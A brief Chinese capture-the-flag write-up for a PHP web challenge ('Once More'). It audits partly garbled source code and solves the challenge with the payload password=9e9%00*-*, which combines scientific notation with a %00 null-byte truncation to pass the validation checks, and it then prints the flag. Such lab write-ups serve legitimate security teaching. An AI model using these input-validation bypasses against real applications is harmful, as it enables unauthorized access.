实验吧-Once More

Once More

原题链接

http://ctf5.shiyanbar.com/web/more.php

分析

审计源码

You password must be alphanumeric

'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'); } } else { echo '

Invalid password

'; } } ?>

password有几个要求

  1. 必须是数字及字母组成
  2. 长度小于8
  3. 值大于999999
  4. 要包含 *-*

包含的*-*可以放在%00后面,%00截断,>999999可以用科学计数法。
EZ:

password=9e9%00*-*

flag

CTF{Ch3ck_anD_Ch3ck}

知识点

php简单审计,科学记数法,%00截断

你可能感兴趣的:(实验吧-Once More)